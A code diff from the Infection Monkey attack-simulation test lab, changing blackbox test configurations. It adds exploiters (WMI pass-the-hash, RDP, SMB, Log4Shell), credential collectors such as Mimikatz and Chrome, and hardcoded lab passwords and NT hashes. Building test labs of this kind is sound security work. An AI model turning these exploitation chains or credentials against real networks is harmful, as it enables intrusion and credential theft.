HTTPStatus.UNAUTHORIZED ) @@ -453,6 +468,18 @@ def test_unauthenticated_user_cannot_access_API(island): island_requests.put(PUT_AGENT_CONFIG_ENDPOINT, data=None).status_code == HTTPStatus.UNAUTHORIZED ) + assert ( + island_requests.put(INSTALL_AGENT_PLUGIN_ENDPOINT, data=None).status_code + == HTTPStatus.UNAUTHORIZED + ) + assert ( + island_requests.get(AVAILABLE_AGENT_PLUGIN_INDEX_ENDPOINT).status_code + == HTTPStatus.UNAUTHORIZED + ) + assert ( + island_requests.post(UNINSTALL_AGENT_PLUGIN_ENDPOINT, data=None).status_code + == HTTPStatus.UNAUTHORIZED + ) LOGOUT_AGENT_ID = uuid4() @@ -524,6 +551,18 @@ def assert_unique_agent_hashes(agents: Sequence[Agent]): assert len(agent_hashes) == len(set(agent_hashes)) + @staticmethod + def assert_depth_restriction(agents: Sequence[Agent], configured_depth: int): + # Trying to add a node to the tree whose parent doesn't exist in the tree yet + # raises `NodeIDAbsentError`. Sorting the agents by registration time prevents that. + sorted_agents = sorted(agents, key=lambda agent: agent.registration_time) + + propagation_tree = Tree() + for agent in sorted_agents: + propagation_tree.create_node(tag=agent.id, identifier=agent.id, parent=agent.parent_id) + + assert propagation_tree.depth() <= configured_depth + @staticmethod def run_exploitation_test( island_client: MonkeyIslandClient, @@ -539,7 +578,7 @@ def run_exploitation_test( log_handler = TestLogsHandler( test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() ) - ExploitationTest( + exploitation_test = ExploitationTest( name=test_name, island_client=island_client, test_configuration=test_configuration, @@ -547,7 +586,13 @@ def run_exploitation_test( analyzers=[analyzer], timeout=timeout_in_seconds, log_handler=log_handler, - ).run() + ) + exploitation_test.run() + + TestMonkeyBlackbox.assert_depth_restriction( + agents=exploitation_test.agents, + configured_depth=test_configuration.agent_configuration.propagation.maximum_depth, + ) @staticmethod def get_log_dir_path(): @@ -560,6 +605,7 @@ def test_credentials_reuse_ssh_key(self, island_client): def test_depth_2_a(self, island_client): test_name = "Depth2A test suite" + communication_analyzer = CommunicationAnalyzer( island_client, get_target_ips(depth_2_a_test_configuration), @@ -567,12 +613,16 @@ def test_depth_2_a(self, island_client): log_handler = TestLogsHandler( test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() ) + + stolen_credentials_analyzer = StolenCredentialsAnalyzer( + island_client, expected_credentials_depth_2_a + ) exploitation_test = ExploitationTest( name=test_name, island_client=island_client, test_configuration=depth_2_a_test_configuration, masque=None, - analyzers=[communication_analyzer], + analyzers=[communication_analyzer, stolen_credentials_analyzer], timeout=DEFAULT_TIMEOUT_SECONDS + 30, log_handler=log_handler, ) @@ -581,36 +631,15 @@ def test_depth_2_a(self, island_client): # asserting that Agent hashes are not unique assert len({a.sha256 for a in exploitation_test.agents}) == 2 + TestMonkeyBlackbox.assert_depth_restriction( + agents=exploitation_test.agents, + configured_depth=depth_2_a_test_configuration.agent_configuration.propagation.maximum_depth, # noqa: E501 + ) + def test_depth_1_a(self, island_client): test_name = "Depth1A test suite" masque = b"m0nk3y" - expected_credentials = { - Credentials( - identity=Username(username="m0nk3y"), - secret=NTHash(nt_hash="5da0889ea2081aa79f6852294cba4a5e"), - ), - Credentials( - identity=Username(username="m0nk3y"), secret=Password(password="pAJfG56JX><") - ), - Credentials( - identity=Username(username="m0nk3y"), secret=Password(password="Ivrrw5zEzs") - ), - Credentials( - identity=Username(username="vakaris_zilius"), - secret=NTHash(nt_hash="e1c0dc690821c13b10a41dccfc72e43a"), - ), - Credentials( - identity=Username(username="m0nk3y"), - secret=NTHash(nt_hash="fc525c9683e8fe067095ba2ddc971889"), - ), - Credentials( - identity=Username(username="m0nk3y"), - secret=NTHash(nt_hash="201fe0a0db9733e419875201c6bd36f2"), - ), - } - - stolen_credentials_analyzer = StolenCredentialsAnalyzer(island_client, expected_credentials) communication_analyzer = CommunicationAnalyzer( island_client, get_target_ips(depth_1_a_test_configuration), @@ -618,20 +647,29 @@ def test_depth_1_a(self, island_client): log_handler = TestLogsHandler( test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() ) + stolen_credentials_analyzer = StolenCredentialsAnalyzer( + island_client, expected_credentials_depth_1_a + ) exploitation_test = ExploitationTest( name=test_name, island_client=island_client, test_configuration=depth_1_a_test_configuration, masque=masque, - analyzers=[stolen_credentials_analyzer, communication_analyzer], + analyzers=[communication_analyzer, stolen_credentials_analyzer], timeout=DEFAULT_TIMEOUT_SECONDS + 30, log_handler=log_handler, ) exploitation_test.run() + TestMonkeyBlackbox.assert_unique_agent_hashes(exploitation_test.agents) + TestMonkeyBlackbox.assert_depth_restriction( + agents=exploitation_test.agents, + configured_depth=depth_1_a_test_configuration.agent_configuration.propagation.maximum_depth, # noqa: E501 + ) def test_depth_3_a(self, island_client): test_name = "Depth3A test suite" + communication_analyzer = CommunicationAnalyzer( island_client, get_target_ips(depth_3_a_test_configuration), @@ -649,7 +687,12 @@ def test_depth_3_a(self, island_client): log_handler=log_handler, ) exploitation_test.run() + TestMonkeyBlackbox.assert_unique_agent_hashes(exploitation_test.agents) + TestMonkeyBlackbox.assert_depth_restriction( + agents=exploitation_test.agents, + configured_depth=depth_3_a_test_configuration.agent_configuration.propagation.maximum_depth, # noqa: E501 + ) def test_depth_4_a(self, island_client): TestMonkeyBlackbox.run_exploitation_test( @@ -674,7 +717,7 @@ def test_zerologon_exploiter(self, island_client): log_handler = TestLogsHandler( test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() ) - ExploitationTest( + exploitation_test = ExploitationTest( name=test_name, island_client=island_client, test_configuration=zerologon_test_configuration, @@ -682,7 +725,13 @@ def test_zerologon_exploiter(self, island_client): analyzers=[zero_logon_analyzer, communication_analyzer], timeout=DEFAULT_TIMEOUT_SECONDS + 30, log_handler=log_handler, - ).run() + ) + exploitation_test.run() + + TestMonkeyBlackbox.assert_depth_restriction( + agents=exploitation_test.agents, + configured_depth=zerologon_test_configuration.agent_configuration.propagation.maximum_depth, # noqa: E501 + ) # Not grouped because it's depth 1 but conflicts with SMB exploiter in group depth_1_a def test_smb_pth(self, island_client): diff --git a/envs/monkey_zoo/blackbox/test_configurations/credentials_reuse_ssh_key.py b/envs/monkey_zoo/blackbox/test_configurations/credentials_reuse_ssh_key.py index 33cf8e3030f..b7d0afeb83a 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/credentials_reuse_ssh_key.py +++ b/envs/monkey_zoo/blackbox/test_configurations/credentials_reuse_ssh_key.py @@ -22,7 +22,7 @@ # then B(10.2.4.15) exploits C(10.2.5.16) with that key def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: exploiters: Dict[str, Mapping] = { - "SSHExploiter": {}, + "SSH": {}, } return add_exploiters(agent_configuration, exploiters=exploiters) diff --git a/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py b/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py index e21aa477cc4..052bb8ed41c 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py +++ b/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py @@ -2,14 +2,13 @@ from typing import Dict, Mapping from common.agent_configuration import AgentConfiguration, PluginConfiguration -from common.credentials import Credentials, Password, Username +from common.credentials import Credentials, NTHash, Password, Username from .noop import noop_test_configuration from .utils import ( add_credentials_collectors, add_exploiters, add_fingerprinters, - add_http_ports, add_subnets, add_tcp_ports, replace_agent_configuration, @@ -22,19 +21,23 @@ # Hadoop (10.2.2.2, 10.2.2.3) # Log4shell (10.2.3.55, 10.2.3.56, 10.2.3.49, 10.2.3.50, 10.2.3.51, 10.2.3.52) # MSSQL (10.2.2.16) -# SMB mimikatz password stealing and brute force (10.2.2.14 and 10.2.2.15) # SNMP (10.2.3.20) +# WMI pass the hash (10.2.2.15) +# Chrome credentials stealing (10.2.3.66 - Windows exploited by RDP, Chrome browser +# 10.2.3.67 - Linux exploited by SSH, Chromium browser files) def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: exploiters: Dict[str, Mapping] = { + "WMI": {"agent_binary_upload_timeout": 30, "smb_connect_timeout": 5}, + "RDP": {}, "Hadoop": { "target_ports": [8088], "request_timeout": 15, "agent_binary_download_timeout": 60, "yarn_application_suffix": "M0NK3Y3XPL01T", }, - "Log4ShellExploiter": {}, + "Log4Shell": {}, "MSSQL": { "target_ports": [1433], "try_discovered_mssql_ports": False, @@ -42,22 +45,32 @@ def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfigurati "server_timeout": 15, "agent_binary_download_timeout": 60, }, - "SMB": {"agent_binary_upload_timeout": 30, "smb_connect_timeout": 15}, "SNMP": { "snmp_request_timeout": 0.5, "snmp_retries": 1, }, + "SSH": {}, } return add_exploiters(agent_configuration, exploiters=exploiters) def _add_fingerprinters(agent_configuration: AgentConfiguration) -> AgentConfiguration: - fingerprinters = [PluginConfiguration(name="http", options={})] + fingerprinters = [ + PluginConfiguration(name="http", options={}), + PluginConfiguration(name="mssql", options={}), + ] return add_fingerprinters(agent_configuration, fingerprinters) +def _add_credentials_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration: + credentials_collectors: Dict[str, Mapping] = {"Chrome": {}} + return add_credentials_collectors( + agent_configuration, credentials_collectors=credentials_collectors + ) + + def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration: subnets = [ "10.2.2.2", @@ -68,47 +81,36 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration: "10.2.3.50", "10.2.3.51", "10.2.3.52", - "10.2.2.16", - "10.2.2.14", "10.2.2.15", + "10.2.2.16", "10.2.3.20", + "10.2.3.66", + "10.2.3.67", ] return add_subnets(agent_configuration, subnets) -def _add_credentials_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration: - credentials_collectors: Dict[str, Mapping] = {"Mimikatz": {}} - return add_credentials_collectors( - agent_configuration, credentials_collectors=credentials_collectors - ) - - -HTTP_PORTS = [8080, 8983, 9600] - - def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration: - ports = [22, 445] + HTTP_PORTS + ports = [22, 135, 445, 3389] return add_tcp_ports(agent_configuration, ports) -def _add_http_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration: - return add_http_ports(agent_configuration, HTTP_PORTS) - - test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 1) test_agent_configuration = _add_exploiters(test_agent_configuration) test_agent_configuration = _add_fingerprinters(test_agent_configuration) +test_agent_configuration = _add_credentials_collectors(test_agent_configuration) test_agent_configuration = _add_subnets(test_agent_configuration) test_agent_configuration = _add_tcp_ports(test_agent_configuration) -test_agent_configuration = _add_credentials_collectors(test_agent_configuration) -test_agent_configuration = _add_http_ports(test_agent_configuration) test_agent_configuration = set_randomize_agent_hash(test_agent_configuration, True) CREDENTIALS = ( Credentials(identity=Username(username="m0nk3y"), secret=None), Credentials(identity=Username(username="c0mmun1ty"), secret=None), - Credentials(identity=None, secret=Password(password="Ivrrw5zEzs")), Credentials(identity=None, secret=Password(password="Xk8VDTsC")), + # Hash for Mimikatz-15 + Credentials(identity=None, secret=NTHash(nt_hash="F7E457346F7743DAECE17258667C936D")), + Credentials(identity=Username(username="m0nk3y"), secret=Password(password="P@ssw0rd!")), + Credentials(identity=Username(username="m0nk3y"), secret=Password(password="password")), ) depth_1_a_test_configuration = dataclasses.replace(noop_test_configuration) diff --git a/envs/monkey_zoo/blackbox/test_configurations/depth_2_a.py b/envs/monkey_zoo/blackbox/test_configurations/depth_2_a.py index 59f6cda04ec..2ad2269bd62 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/depth_2_a.py +++ b/envs/monkey_zoo/blackbox/test_configurations/depth_2_a.py @@ -2,10 +2,11 @@ from typing import Dict, Mapping from common.agent_configuration import AgentConfiguration, PluginConfiguration -from common.credentials import Credentials, Password, Username +from common.credentials import Credentials, NTHash, Password, Username from .noop import noop_test_configuration from .utils import ( + add_credentials_collectors, add_exploiters, add_fingerprinters, add_http_ports, @@ -16,41 +17,66 @@ set_maximum_depth, ) - # Tests: # SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12) # Powershell credential reuse (logging in without credentials # to an identical user on another machine)(10.2.3.44, 10.2.3.46) +# SMB mimikatz password stealing and brute force (10.2.2.14 and 10.2.2.15) + + def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: exploiters: Dict[str, Mapping] = { # Log4Shell is required to hop into 46, which then uses credential reuse on 44. # Look at envs/monkey_zoo/docs/network_diagrams/powershell_credential_reuse.drawio.png - "Log4ShellExploiter": {}, - "SSHExploiter": {}, + "Log4Shell": { + # no ports are configured but because `try_all_discovered_http_ports` is + # set to true, the exploiter should exploit 10.2.3.46 on port 8080 (configured + # at `agent_configuration.propagation.exploitation.options.http_ports`) + "try_all_discovered_http_ports": True, + "target_ports": [], + }, + "SSH": {}, "PowerShell": {}, + "RDP": {}, + "SMB": {"agent_binary_upload_timeout": 30, "smb_connect_timeout": 15}, } return add_exploiters(agent_configuration, exploiters=exploiters) +def _add_credentials_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration: + credentials_collectors: Dict[str, Mapping] = {"Mimikatz": {}, "SSH": {}} + return add_credentials_collectors( + agent_configuration, credentials_collectors=credentials_collectors + ) + + def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration: subnets = [ "10.2.2.11", "10.2.2.12", + "10.2.2.14", + "10.2.2.15", "10.2.3.44", "10.2.3.46", + "10.2.3.64", + "10.2.3.65", ] return add_subnets(agent_configuration, subnets) def _add_fingerprinters(agent_configuration: AgentConfiguration) -> AgentConfiguration: - fingerprinters = [PluginConfiguration(name="http", options={})] + fingerprinters = [ + PluginConfiguration(name="http", options={}), + PluginConfiguration(name="smb", options={}), + PluginConfiguration(name="ssh", options={}), + ] return add_fingerprinters(agent_configuration, fingerprinters) def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration: - ports = [22, 5985, 5986, 8080] + ports = [22, 3389, 5985, 5986, 8080] return add_tcp_ports(agent_configuration, ports) @@ -64,10 +90,14 @@ def _add_http_ports(agent_configuration: AgentConfiguration) -> AgentConfigurati test_agent_configuration = _add_fingerprinters(test_agent_configuration) test_agent_configuration = _add_tcp_ports(test_agent_configuration) test_agent_configuration = _add_http_ports(test_agent_configuration) +test_agent_configuration = _add_credentials_collectors(test_agent_configuration) CREDENTIALS = ( Credentials(identity=Username(username="m0nk3y"), secret=None), Credentials(identity=None, secret=Password(password="^NgDvY59~8")), + Credentials(identity=None, secret=Password(password="P@ssw0rd!")), + Credentials(identity=None, secret=Password(password="Ivrrw5zEzs")), + Credentials(identity=None, secret=NTHash(nt_hash="68965ABB32F8CE46F7E40075FA5B623E")), ) depth_2_a_test_configuration = dataclasses.replace(noop_test_configuration) diff --git a/envs/monkey_zoo/blackbox/test_configurations/depth_3_a.py b/envs/monkey_zoo/blackbox/test_configurations/depth_3_a.py index e2e52c14036..d24f74402e5 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/depth_3_a.py +++ b/envs/monkey_zoo/blackbox/test_configurations/depth_3_a.py @@ -19,14 +19,12 @@ # Tests: # Powershell (10.2.3.45, 10.2.3.46, 10.2.3.47, 10.2.3.48) # Tunneling through grandparent agent (SSH brute force) (10.2.2.9, 10.2.1.10, 10.2.0.11) -# WMI pass the hash (10.2.2.15) def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: exploiters: Dict[str, Mapping] = { "PowerShell": {}, - "SSHExploiter": {}, - "WMI": {"agent_binary_upload_timeout": 30}, + "SSH": {}, } return add_exploiters(agent_configuration, exploiters=exploiters) @@ -40,7 +38,6 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration: "10.2.3.48", "10.2.1.10", "10.2.0.11", - "10.2.2.15", ] return add_subnets(agent_configuration, subnets) @@ -58,9 +55,8 @@ def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguratio test_agent_configuration = set_randomize_agent_hash(test_agent_configuration, True) CREDENTIALS = ( - Credentials(identity=Username(username="m0nk3y"), secret=None), + Credentials(identity=Username(username="m0nk3y"), secret=Password(password="Passw0rd!")), Credentials(identity=Username(username="m0nk3y-user"), secret=None), - Credentials(identity=None, secret=Password(password="Passw0rd!")), Credentials(identity=None, secret=Password(password="3Q=(Ge(+&w]*")), Credentials(identity=None, secret=Password(password="`))jU7L(w}")), Credentials(identity=None, secret=NTHash(nt_hash="d0f0132b308a0c4e5d1029cc06f48692")), diff --git a/envs/monkey_zoo/blackbox/test_configurations/depth_4_a.py b/envs/monkey_zoo/blackbox/test_configurations/depth_4_a.py index ed69edb122d..a560b48eea0 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/depth_4_a.py +++ b/envs/monkey_zoo/blackbox/test_configurations/depth_4_a.py @@ -21,7 +21,7 @@ def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: exploiters: Dict[str, Mapping] = { - "SSHExploiter": {}, + "SSH": {}, "WMI": {"agent_binary_upload_timeout": 30}, } diff --git a/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py b/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py index 70667942cd4..2fea038271b 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py +++ b/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py @@ -43,14 +43,10 @@ def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguratio test_agent_configuration = _add_tcp_ports(test_agent_configuration) CREDENTIALS = ( - Credentials(identity=Username(username="Administrator"), secret=None), Credentials(identity=Username(username="m0nk3y"), secret=None), - Credentials(identity=Username(username="user"), secret=None), - Credentials(identity=None, secret=Password(password="Ivrrw5zEzs")), - Credentials(identity=None, secret=Password(password="Password1!")), - Credentials(identity=None, secret=NTHash(nt_hash="d0f0132b308a0c4e5d1029cc06f48692")), - Credentials(identity=None, secret=NTHash(nt_hash="5da0889ea2081aa79f6852294cba4a5e")), - Credentials(identity=None, secret=NTHash(nt_hash="50c9987a6bf1ac59398df9f911122c9b")), + Credentials(identity=Username(username="unused"), secret=None), + Credentials(identity=None, secret=Password(password="Unused")), + Credentials(identity=None, secret=NTHash(nt_hash="F7E457346F7743DAECE17258667C936D")), ) smb_pth_test_configuration = dataclasses.replace(noop_test_configuration) diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index 0c0c4868f94..d54e91142a2 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -13,7 +13,7 @@ WAIT_TIME_BETWEEN_REQUESTS = 1 TIME_FOR_MONKEY_PROCESS_TO_FINISH = 5 DELAY_BETWEEN_ANALYSIS = 1 -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class ExploitationTest(BasicTest): @@ -46,9 +46,9 @@ def run(self): self.island_client.reset_island() def print_test_starting_info(self): - LOGGER.info("Started {} test".format(self.name)) + logger.info("Started {} test".format(self.name)) machine_list = ", ".join(get_target_ips(self.test_configuration)) - LOGGER.info(f"Machines participating in test: {machine_list}") + logger.info(f"Machines participating in test: {machine_list}") print("") def test_until_timeout(self): @@ -58,21 +58,21 @@ def test_until_timeout(self): self.log_success(timer) return sleep(DELAY_BETWEEN_ANALYSIS) - LOGGER.debug( + logger.debug( "Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()) ) self.log_failure(timer) assert False def log_success(self, timer): - LOGGER.info(self.get_analyzer_logs()) - LOGGER.info( + logger.info(self.get_analyzer_logs()) + logger.info( "{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()) ) def log_failure(self, timer): - LOGGER.info(self.get_analyzer_logs()) - LOGGER.error( + logger.info(self.get_analyzer_logs()) + logger.error( "{} test failed because of timeout. Time taken: {:.1f} seconds.".format( self.name, timer.get_time_taken() ) @@ -96,14 +96,14 @@ def wait_until_monkeys_die(self): ): sleep(WAIT_TIME_BETWEEN_REQUESTS) time_passed += WAIT_TIME_BETWEEN_REQUESTS - LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed)) + logger.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed)) if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE: - LOGGER.error("Some monkeys didn't die after the test, failing") + logger.error("Some monkeys didn't die after the test, failing") assert False - LOGGER.info(f"After {time_passed} seconds all monkeys have died") + logger.info(f"After {time_passed} seconds all monkeys have died") def parse_logs(self): - LOGGER.info("Parsing test logs:") + logger.info("Parsing test logs:") self.log_handler.parse_test_logs() @staticmethod @@ -113,5 +113,5 @@ def wait_for_monkey_process_to_finish(): If we try to launch monkey during that time window monkey will fail to start, that's why test needs to wait a bit even after all monkeys are dead. """ - LOGGER.debug("Waiting for Monkey process to close...") + logger.debug("Waiting for Monkey process to close...") sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 5e017d03092..b73846ddc36 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -3,7 +3,7 @@ import subprocess from multiprocessing.dummy import Pool -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s" SET_PROPERTY_PROJECT = "gcloud config set project %s" @@ -19,11 +19,11 @@ def initialize_gcp_client(): abs_key_path = get_absolute_key_path() subprocess.call(get_auth_command(abs_key_path), shell=True) # noqa: DUO116 - LOGGER.info("GCP Handler passed key") + logger.info("GCP Handler passed key") subprocess.call(get_set_project_command(DEFAULT_PROJECT), shell=True) # noqa: DUO116 - LOGGER.info("GCP Handler set project") - LOGGER.info("GCP Handler initialized successfully") + logger.info("GCP Handler set project") + logger.info("GCP Handler initialized successfully") def get_absolute_key_path() -> str: @@ -43,21 +43,21 @@ def start_machines(machine_list): Start all the machines in the list. :param machine_list: A dictionary with zone and machines per zone. """ - LOGGER.info("Setting up all GCP machines...") + logger.info("Setting up all GCP machines...") try: run_gcp_pool(MACHINE_STARTING_COMMAND, machine_list) - LOGGER.info("GCP machines successfully started.") + logger.info("GCP machines successfully started.") except Exception as e: - LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) + logger.error("GCP Handler failed to start GCP machines: %s" % e) raise e def stop_machines(machine_list): try: run_gcp_pool(MACHINE_STOPPING_COMMAND, machine_list) - LOGGER.info("GCP machines stopped successfully.") + logger.info("GCP machines stopped successfully.") except Exception as e: - LOGGER.error("GCP Handler failed to stop network machines: %s" % e) + logger.error("GCP Handler failed to stop network machines: %s" % e) def get_auth_command(key_path): diff --git a/envs/monkey_zoo/build_images.sh b/envs/monkey_zoo/build_images.sh index cabffc3cb3d..60b20846b91 100755 --- a/envs/monkey_zoo/build_images.sh +++ b/envs/monkey_zoo/build_images.sh @@ -12,6 +12,7 @@ show_usage() { printerr " -p|--project-id GCP project ID (required)" printerr " --account-file GCP service account file (required)" printerr " -f|--force Force build even if image already exists" + printerr " -d|--debug Leave the instance running for debugging" printerr " -h|--help Show this help message and exit" } @@ -19,6 +20,7 @@ show_usage() { PROJECT_ID= ACCOUNT_FILE= FORCE= +DEBUG= while :; do case $1 in @@ -48,6 +50,10 @@ while :; do FORCE=-force shift ;; + -d|--debug) + DEBUG=-debug + shift + ;; *) break esac @@ -69,9 +75,9 @@ prevdir=$(pwd) cd "$ROOT" || exit 1 for file in "$@"; do if file_path=$(realpath -q "$file") && [ -f "$file_path" ]; then - packer build $FORCE -var "project_id=$PROJECT_ID" -var "account_file=$ACCOUNT_FILE" "$file_path" + packer build $FORCE $DEBUG -on-error=ask -var "project_id=$PROJECT_ID" -var "account_file=$ACCOUNT_FILE" "$file_path" elif file_path=$(realpath -q "$prevdir/$file") && [ -f "$file_path" ]; then - packer build $FORCE -var "project_id=$PROJECT_ID" -var "account_file=$ACCOUNT_FILE" "$file_path" + packer build $FORCE $DEBUG -on-error=ask -var "project_id=$PROJECT_ID" -var "account_file=$ACCOUNT_FILE" "$file_path" else printerr "File does not exist: '$file'. Skipping." fi diff --git a/envs/monkey_zoo/docs/network_diagrams/credentials_ssh_reuse_diagram.drawio b/envs/monkey_zoo/docs/network_diagrams/credentials_ssh_reuse_diagram.drawio new file mode 100644 index 00000000000..72d53a426d3 --- /dev/null +++ b/envs/monkey_zoo/docs/network_diagrams/credentials_ssh_reuse_diagram.drawio @@ -0,0 +1 @@ +7Vrfc9o4EP5reIzHlmxDHxsIzc30LpnhbpreS0exFVAjW4wsAvSvPwlLtoVM4ksIzqThIbFWqx/+9tvVamEAx9nmC0fLxZ8sxXQA/HQzgJMBAEEIYvlPSbalZBgPS8Gck1Qr1YIZ+YW10NfSFUlxYSkKxqggS1uYsDzHibBkiHO2ttXuGLVXXaI5dgSzBFFX+o2kYlFKR5Ffyy8xmS/MyoGvezJklLWgWKCUrRsieDGAY86YKJ+yzRhTBZ7BpRw3PdBbbYzjXHQZ8Gv219Xy9mr2L1kFxfjn/ebvu5szUM7ygOhKv3DCcSpnJIgWZxyvCnwWRAMQU7nG+S2XT3P15EoC3wNe6LUp77qiXdcOCLE16HK2ylOsNuhLvfWCCDxbokT1riWfpGwhMipbwW7N3VYxF3hzEIOgQlZSErMMC76VKnpAGGtjaDYCY611bdsAatnCtqvmlObTvJq7hlw+aNTbLRBNftDJ1Vf0bZL8uLyeZtuAT7tZIOxsAei1KRvjhMewgAN3i1EOWgC8PQsEQ8cEDkzFPRbJQqO0ZCQXmF88SBgKDU3l3UohRcWiwrSBXyE4u8djRhmXkpzlcvbzO0KpEQ0AnExH41ACeE7RLabXrCCCsFz2JVgtKjsU2ERGqK97CrdMCJY1FD5TMlcdgik7It2q5mErQUkut2Mip1++x1K9c7aZq4DuPWCMMuBJxdXmOAyIothmwDB2GABDlwBGdnz7f/qw/wntD3u0f+sZGDjmb4nAcecILA+6FmUTnOM3dwbC0SkjcKsFwqcdEOfpZ5XOKQJTVBQksYGxUcQbIm50j3r+ruQeiHRzsmnoTbamkct3uWk2msNUux63a5mBtltLH55OofxUPSZxhJUBcepknY5HFWzFE/wIajqdEojPsXgqw3Dp0DB31GJtI+OYIkEe7O22MUCvcK2CY822IAa2t4fA8+Gn+hPbM5ZvrSdpZrN78w6jPRYP98hZwuJMtONnhcLzKRs5lP2joChPe3dv0Gd+1QpVfHTvNo4a2I46fMpRTVjwrbAwfDwsON5d8vaI3v3YvaDp3YeJ2Jd3xyObbSHYI1Fnd4b9unOHK8DvfQK9iKO9nkDvhqOjdxZHffkZj187S2rh6NvLkt4NRztcpZ8XR30vapAt6BhGvchidu9RtCtDD99TPxj6QoaaNPcVKGpFw64nvU3R4P9S9DRB1Hzz8nsEUbh3hwph1ImikjNo21Db1QmLwxuGIGpdp2Z8OeNx+e+Wuxz+f1Q7m9XOF13H96vdYdR3tRM49p8JjNS42exS/h3XxU+HGHXgC05TzIhtD2krVYKWiBL7r4UePE2C47/O6aHpLvl9389NMHgfJ0TvSYxbMf+nwMWOh4zi/E06c7z/1a85/vrzZreKeyRvtss+z6v6PFn0OYY3v+xGEn5486PeLJv1D3xK9fpnUvDiPw== diff --git a/envs/monkey_zoo/docs/network_diagrams/credentials_ssh_reuse_diagram.drawio.png b/envs/monkey_zoo/docs/network_diagrams/credentials_ssh_reuse_diagram.drawio.png new file mode 100644 index 00000000000..d0361b3426e Binary files /dev/null and b/envs/monkey_zoo/docs/network_diagrams/credentials_ssh_reuse_diagram.drawio.png differ diff --git a/envs/monkey_zoo/docs/network_diagrams/rdp_diagram.drawio b/envs/monkey_zoo/docs/network_diagrams/rdp_diagram.drawio new file mode 100644 index 00000000000..4561cc0db0b --- /dev/null +++ b/envs/monkey_zoo/docs/network_diagrams/rdp_diagram.drawio @@ -0,0 +1,67 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/envs/monkey_zoo/docs/network_diagrams/rdp_diagram.drawio.png b/envs/monkey_zoo/docs/network_diagrams/rdp_diagram.drawio.png new file mode 100644 index 00000000000..687394d117e Binary files /dev/null and b/envs/monkey_zoo/docs/network_diagrams/rdp_diagram.drawio.png differ diff --git a/envs/monkey_zoo/docs/zoo_network.md b/envs/monkey_zoo/docs/zoo_network.md index 5f11f0c3b2e..c48f15b1b53 100644 --- a/envs/monkey_zoo/docs/zoo_network.md +++ b/envs/monkey_zoo/docs/zoo_network.md @@ -33,8 +33,12 @@ This document describes Infection Monkey’s test network. [Nr. 3-52 Log4j Tomcat](#_Toc536021486)
[Nr. 3-55 Log4j Logstash](#_Toc536021487)
[Nr. 3-56 Log4j Logstash](#_Toc536021488)
-[Nr. 250 MonkeyIsland](#_Toc536021489)
-[Nr. 251 MonkeyIsland](#_Toc536021490)
+[Nr. 3-64 RDP](#_Toc536021489)
+[Nr. 3-65 RDP](#_Toc536021490)
+[Nr. 3-66 Browser Credentials](#_Toc536021492)
+[Nr. 3-67 Browser Credentials](#_Toc536021491)
+[Nr. 250 MonkeyIsland](#_Toc536021492)
+[Nr. 251 MonkeyIsland](#_Toc536021493)
[Network topography](#network-topography)
